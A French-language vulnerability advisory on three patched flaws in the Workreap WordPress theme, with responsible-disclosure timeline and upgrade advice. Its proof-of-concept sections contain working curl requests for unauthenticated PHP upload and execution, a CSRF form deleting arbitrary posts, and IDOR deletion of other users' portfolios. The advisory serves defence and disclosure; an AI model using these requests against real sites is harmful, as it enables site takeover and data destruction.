Vulnérabilités multiples dans le thème Workreap par Amentotech

Publié: 2021-07-07

Récemment, l'équipe Jetpack a trouvé des fichiers infectés sur l'un des sites de nos clients hébergés et a rapidement retracé la source de l'infection jusqu'au thème Workreap d'Amentotech. Nous avons lancé une enquête et découvert un certain nombre de terminaux AJAX vulnérables dans le thème ; la plus grave d'entre elles était une vulnérabilité de téléchargement non authentifiée et non validée pouvant entraîner l'exécution de code à distance et une prise de contrôle complète du site.

Nous avons signalé les vulnérabilités à l'équipe Amentotech via le programme Envato Helpful Hacker, et les problèmes ont été résolus rapidement par eux. La version 2.2.2 du thème a été publiée le 29 juin 2021 et corrige les vulnérabilités trouvées.

TL; DR

En raison de la gravité des vulnérabilités, nous recommandons vivement à tous les utilisateurs du thème Workreap de passer à la version 2.2.2 ou ultérieure dès que possible.

Téléchargez la mise à niveau à partir du site Web du thème et installez-la manuellement, ou mettez à niveau automatiquement via le plug-in du marché Envato.

Des détails

Nom du thème : Workreap
URI du thème : http://amentotech.com/projects/wpworkreap
Auteur : Amentotech
URI de l'auteur : https://themeforest.net/user/amentotech/portfolio

Les vulnérabilités

En raison de la gravité des vulnérabilités, nous retarderons la publication de la preuve de concept et de l'analyse complète pour donner aux utilisateurs le temps de se mettre à niveau.

Téléchargement non authentifié entraînant l'exécution de code à distance

Versions concernées : < 2.2.2
ID CVE : CVE-2021-24499
CVSSv3.1 : 10.0
CWE : CWE-284, CWE-641,
CWSS : 90,7
Lien WPScan : https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Les actions AJAX workreap_award_temp_file_uploader et workreap_temp_file_uploader n'ont pas effectué de vérifications nonce ni validé que la demande provient d'un utilisateur valide de toute autre manière. Les points de terminaison permettaient de télécharger des fichiers arbitraires dans le répertoire uploads/workreap-temp . Les fichiers téléchargés n'étaient ni nettoyés ni validés, permettant à un visiteur non authentifié de télécharger du code exécutable tel que des scripts php.

Preuve de concept

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Multiples vulnérabilités CSRF + IDOR

Versions concernées : < 2.2.2
ID CVE : CVE-2021-24500
CVSSv3.1 : 8.2
CWE : CWE-283, CWE-284, CWE-862
CWSS : 78,3
Lien WPScan : https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Plusieurs actions AJAX disponibles dans le thème Workreap manquaient de protections CSRF, ainsi que des références d'objet directes non sécurisées (IDOR) qui n'étaient pas validées. Cela permet à un attaquant de tromper un utilisateur connecté pour qu'il soumette une requête POST au site vulnérable, modifiant ou supprimant potentiellement des objets arbitraires sur le site cible.

Dans les versions antérieures à la 2.0.0, ces actions manquaient complètement d'authentification et étaient exploitables par tout visiteur du site.

Preuve de concept

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Vérifications d'autorisation manquantes dans les actions AJAX

Versions concernées : < 2.2.2
ID CVE : CVE-2021-24501
CVSSv3.1 : 7.1
CWE : CWE-283, CWE-862
CWSS : 68,5
Lien WPScan : https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Plusieurs actions AJAX disponibles dans le thème Workreap manquaient de contrôles d'autorisation pour vérifier qu'un utilisateur était autorisé à effectuer des opérations critiques telles que la modification ou la suppression d'objets. Cela permettait à un utilisateur connecté de modifier ou de supprimer des objets appartenant à d'autres utilisateurs sur le site.

Dans les versions antérieures à la 2.0.0, ces actions manquaient complètement d'authentification et étaient exploitables par tout visiteur du site.

Preuve de concept

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Chronologie

2021-06-24 : Vulnérabilité de téléchargement initiale découverte par l'équipe Jetpack Scan, signalée au programme Envato Helpful Hacker.
2021-06-25 : D'autres vulnérabilités documentées découvertes, Amentotech informé via Envato.
2021-06-27 : La version 2.2.1 publiée corrige certaines vulnérabilités, mais pas toutes.
2021-06-29 : Version 2.2.2 publiée et correctifs vérifiés par l'équipe Jetpack Scan.

Conclusion

Nous vous recommandons de vérifier la version actuelle du thème Workreap que vous utilisez sur votre site et, si elle est inférieure à la 2.2.2, de la mettre à jour au plus vite !

Chez Jetpack, nous travaillons dur pour nous assurer que vos sites Web sont protégés contre ces types de vulnérabilités. Pour garder une longueur d'avance sur toute nouvelle menace, consultez Jetpack Scan, qui comprend l'analyse de sécurité et la suppression automatisée des logiciels malveillants.

Crédits

Chercheur original : Harald Eilertsen

Merci au reste de l'équipe Jetpack Scan pour les commentaires, l'aide et les corrections. Merci également à kailoon du programme Envato Helpful Hacker pour son aide à contacter Amentotech, et à Amentotech pour une réponse rapide dans la résolution des problèmes et la publication de la version mise à jour.